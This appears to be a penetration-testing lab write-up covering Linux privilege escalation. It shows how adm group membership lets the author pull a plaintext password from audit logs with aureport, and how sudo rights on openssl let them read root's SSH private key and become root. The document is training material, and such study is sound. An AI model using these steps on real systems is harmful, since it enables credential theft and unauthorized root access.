Privesc
id command tells are we are part of the adm group!
uid=1004(webdev) gid=1004(webdev) groups=1004(webdev),4(adm)So we can read logs using aureport which produces a summary of audit logs.
webdev@dmz01:/var/www/html/monitoring$ aureport --tty | less
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
WARNING: terminal is not fully functional
- (press RETURN)
TTY Report
===============================================
# date time event auid term sess comm data
===============================================
1. 06/01/22 07:12:53 349 1004 ? 4 sh "bash",<nl>
2. 06/01/22 07:13:14 350 1004 ? 4 su "ILFreightnixadm!",<nl>
3. 06/01/22 07:13:16 355 1004 ? 4 sh "sudo su srvadm",<nl>
4. 06/01/22 07:13:28 356 1004 ? 4 sudo "ILFreightnixadm!"
5. 06/01/22 07:13:28 360 1004 ? 4 sudo <nl>
6. 06/01/22 07:13:28 361 1004 ? 4 sh "exit",<nl>
7. 06/01/22 07:13:36 364 1004 ? 4 bash "su srvadm",<ret>,"exit",<ret>
8. 06/01/22 07:13:36 365 1004 ? 4 sh "exit",<nl>We get credentials for a user srvadm. We switch user to srvadm:
Typing this will return the shell
Our nmap scan showed we have SSH open (doesnt happen irl, SSH open externally). We can connect using that for a more stable connection.
I did sudo -l and openssl can be run with sudo. As per GTFObin we cannot elevate our shells (thats what happened to me when I tried) and the SUID bit for this binary was not set. So no luck.
But what we can do is read files with openssl with elevated privilege. Which means reading SSH private keys of the root user!
I saved it in a file and did chmod of course.
And we are root.
Last updated